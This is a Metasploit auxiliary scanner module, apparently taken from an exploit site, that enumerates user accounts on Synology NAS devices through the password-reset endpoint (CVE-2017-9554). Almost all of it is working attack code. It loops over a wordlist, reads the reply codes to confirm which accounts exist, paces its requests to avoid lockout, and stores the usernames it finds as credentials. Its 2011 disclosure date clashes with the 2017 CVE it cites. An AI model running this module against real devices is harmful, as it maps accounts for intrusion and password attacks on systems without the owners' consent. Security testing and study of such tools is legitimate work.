## https://sploitus.com/exploit?id=PACKETSTORM:181198
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Synology Forget Password User Enumeration Scanner',
'Description' => %q{
This module attempts to enumerate users on the Synology NAS
by sending GET requests for the forgot password URL.
The Synology NAS will respond differently if a user is present or not.
These count as login attempts, and the default is 10 logins in 5min to
get a permanent block. Set delay accordingly to avoid this, as default
is permanent.
Vulnerable DSMs are:
DSM 6.1 < 6.1.3-15152
DSM 6.0 < 6.0.3-8754-4
DSM 5.2 < 5.2-5967-04
},
'Author' => [
'h00die', # msf module
'Steve Kaun' # POC
],
'License' => MSF_LICENSE,
'References' => [
[ 'EDB', '43455' ],
[ 'CVE', '2017-9554' ],
[ 'URL', 'https://www.synology.com/en-global/security/advisory/Synology_SA_17_29_DSM' ]
],
'DisclosureDate' => '2011-01-05',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(5000),
OptString.new('TARGETURI', [true, 'The path to users Synology Web Interface', '/']),
OptPath.new('USER_FILE', [
false, 'File containing users, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'unix_users.txt')
]),
OptInt.new('DELAY', [true, 'Seconds delay to add to avoid lockout', 36])
]
)
end
def run_host(_ip)
@users_found = {}
unless File.readable?(datastore['USER_FILE'])
fail_with(Failure::BadConfig, 'USER_FILE can not be read')
end
users = File.new(datastore['USER_FILE']).read.split
users.each do |user|
do_enum(user)
vprint_status("Delaying #{datastore['DELAY']}s") if datastore['DELAY'] > 0 # dont flood the prompt
Rex.sleep(datastore['DELAY'])
end
if @users_found.empty?
print_status("#{full_uri} - No users found.")
else
print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(', ')}")
report_note(
host: rhost,
port: rport,
proto: 'tcp',
sname: (ssl ? 'https' : 'http'),
type: 'users',
vhost: vhost,
data: { users: @users_found.keys.join(', ') }
)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_enum(username)
vprint_status("Attempting #{username}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'webman', 'forget_passwd.cgi'),
'method' => 'GET',
'vars_get' => {
'user' => username
}
})
unless res
print_error('Connection to host refused')
fail_with(Failure::Unreachable, 'Connection to host refused')
end
j = res.get_json_document
if j['msg'] == 5
fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')
end
if j['msg'] == 3
fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
end
if j['msg'] == 2 || j['msg'] == 1
print_good("#{username} - #{j['info']}")
@users_found[username] = :reported
report_cred(
ip: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
proof: res.body
)
end
# msg 1 means user can login to GUI
# msg 2 means user exists but no GUI login
# msg 3 means not supported/disabled/patched
# msg 4 means no user
# msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
# count as lgin attempts.
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
print_error('Connection to host refused')
fail_with(Failure::Unreachable, 'Connection to host refused')
rescue Timeout::Error, Errno::EPIPE
fail_with(Failure::Unreachable, 'Connection issue')
end
end